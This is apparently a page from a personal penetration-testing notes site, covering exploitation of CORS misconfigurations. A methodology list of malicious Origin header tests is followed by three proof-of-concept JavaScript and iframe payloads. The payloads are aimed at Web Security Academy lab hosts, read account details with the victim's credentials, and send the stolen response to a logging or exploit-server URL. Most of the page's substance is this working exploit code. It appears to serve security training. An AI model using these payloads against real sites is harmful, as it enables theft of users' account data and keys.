Intrusionz3r0
HacktheboxTwitter
  • Welcome
  • Windows Penetration Testing
    • Enumeration
    • Credentials Attacks On Windows
    • Kerberos
    • Abuse ACLS
    • Common Attacks
    • Abuse Tokens
    • Kerberos “Double Hop”
    • Privileged Groups
    • Defense Evasion
    • Active Directory Certificate Services
    • Windows Persistence
    • Privilege Escalation
    • Trust Enumeration and Attacks
    • Windows Lateral Movement
    • Powershell Cheetsheet
    • Microsoft Exchange and Office
  • Linux Penetration Testing
    • Linux Active directory
    • Tools
    • Privilege Groups
    • Post Exploitation
    • Privilege Escalation
      • Sudo Privilege escalation
      • Writable .service files
      • Wildcard on compression binaries
      • Path Abuse
      • Capabilities
      • Exploit Logrotate
      • Weak NFS Privileges
      • Hijacking Tmux Sessions
      • Shared Libraries
      • Shared Object Hijacking
      • Python Library Hijacking
      • Linux Enumeration
    • Stealing Linux Credentials
    • Critical Vulnerabilities
    • Upgrading TTY
    • Process monitoring
    • Miscellaneous
    • Escape Restricted Shell
  • Malware Development
    • Malware Development Essentials
    • Code Snippets
    • Malware Development Intermediate
  • Social Engineering
  • Portforwarding and tunneling
  • File Transfer Techniques
  • Password Attacks
  • Enumeration
    • Network Enumeration
    • (OSINT) Active Enumeration
    • (OSINT) Passive Enumeration
    • [22] SSH
    • [21] FTP
    • [25,465,587] SMTP
    • [53] DNS Enumeration
    • [80 443] HTTP HTTPS
    • [110,143,993,995] IMAP/POP3 Enumeration
    • [111,2049] Network File System
    • [139,445] SMB Enumeration
    • [161] SNMP
    • [512,513,514] R-Services
    • [623] IPMI
    • [873] Rsync
    • [1433] MSSQL
    • [1521] Oracle TNS
    • [3389] Remote Desktop Protocol (RDP)
    • [5985/5986] WinRM
    • [3306] Mysql
    • [513] Rlogin
  • Hacking Web
    • Methodology
    • Vulnerabilities
      • SQL Injection
      • Cross Site Scripting (XSS)
      • File path traversal/Local File Inclusion
      • File Upload Attacks
      • Denial of Service
      • Command Injection
      • Insecure Direct Object Reference (IDOR)
      • XML External Entity (XXE) Injection
      • Web Mass Assignment Vulnerabilities
      • Log4Shell Exploitation Guide
      • Authentication
      • Business Vulnerabilities
      • Access control vulnerabilities
      • Server-Side Request Forgery (SSRF)
      • Cross-site request forgery (CSRF)
      • Cross-origin resource sharing (CORS)
      • Clickjacking
      • DOM-based vulnerabilities
      • JWT vulnerabilities
      • Password reset poisoning
    • Web Tech Detection viaa Tokens, Headers & Cookies
    • Burpsuite through SOCKS5
    • Bypass 403 - Forbidden
  • OSINT
  • Common Applications
    • Gitlab
    • Splunk
    • Tomcat
    • Joomla
    • Microsoft Internet Information Services (IIS)
    • Nagios XI
    • Wordpress
    • Drupal
    • Tomcat CGI
    • osTicket
    • Attacking Thick Client Applications
    • PRTG Network Monitor
    • Jenkins
    • ColdFusion
    • WebLogic
    • Grafana
    • Umbraco
  • Containers Pentesting
  • C2 Command and Control
    • Sliver
    • Cobalt Strike
    • Mythic
    • Havoc
  • Report Templates
  • Anonymity Guide
  • Labs
    • Vulnlabs
      • Baby
      • Trusted (Chain)
      • Retro
      • Retro2
      • Hybrid (Chain)
      • Baby2
      • Breach
      • Sendai
      • Sweep
      • Delegate
      • Redelegate
      • Media
      • Bruno
      • Cicada
      • Lustrous2
      • Tengu (Chain)
      • Reflection (Chain)
      • Tea (Chain)
      • Heron (Chain)
      • Lustrous (Chain)
      • Kaiju (Chain)
      • Intercept (Chain)
      • Sidecar (Chain)
      • Vigilant (Chain)
      • Job
      • Job2
      • Puppet (Chain)
      • Mythical (Chain)
      • Push (Chain)
Powered by GitBook
On this page
  • POC - CORS vulnerability with basic origin reflection
  • POC - CORS vulnerability with trusted null origin
  • POC - CORS vulnerability with trusted insecure protocols
  1. Hacking Web
  2. Vulnerabilities

Cross-origin resource sharing (CORS)

PreviousCross-site request forgery (CSRF)NextClickjacking

Last updated 2 months ago

Methodology

  1. Look for any CORS-related headers, such as:

    • Access-Control-Allow-Credentials

    • Access-Control-Allow-Origin

  2. Inject a custom Origin header and observe if it is reflected:

    • Origin: http://malicious-server.com

  3. Attempt to inject a null value as the Origin header.

  4. Attempt to inject a trusted-looking origin to bypass basic checks:

    • Origin: http://malicious-website.trusted-subdomain.com

  5. Attempt to inject a malicious domain that includes a trusted subdomain as a subpath:

    • Origin: http://trusted-subdomain.malicious-website.com

  6. If step 4 or 5 works, try to find an XSS vulnerability to exploit the misconfigured CORS and achieve full exploitation.

POC - CORS vulnerability with basic origin reflection

Example of reflection:

<script>
	var xhr = new XMLHttpRequest();
	var url = "https://0a5700af03252f57800853a300030003.web-security-academy.net"
	xhr.onreadystatechange = function(){
		if (xhr.readyState == XMLHttpRequest.DONE){
			fetch("/log?key="+xhr.responseText)
		}
	}
	xhr.open("GET", url + "/accountDetails", true );
	xhr.withCredentials = true;
	xhr.send(null)
</script>

POC - CORS vulnerability with trusted null origin

Example of Trusted null origin:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','https://0a710082034c5cc4821c98cb00790013.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();
    function reqListener() {
        location='https://exploit-0a4100cc034e5ccc824a97f401f40059.exploit-server.net/log?key='+encodeURIComponent(this.responseText);
    };
</script>"></iframe>

POC - CORS vulnerability with trusted insecure protocols

Example of trusted insecre protocols

<script>
    document.location="http://stock.0aaa009c03ea093180d8355900d30095.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0aaa009c03ea093180d8355900d30095.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://exploit-0aab0047030f09d6809b34e7011000f9.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>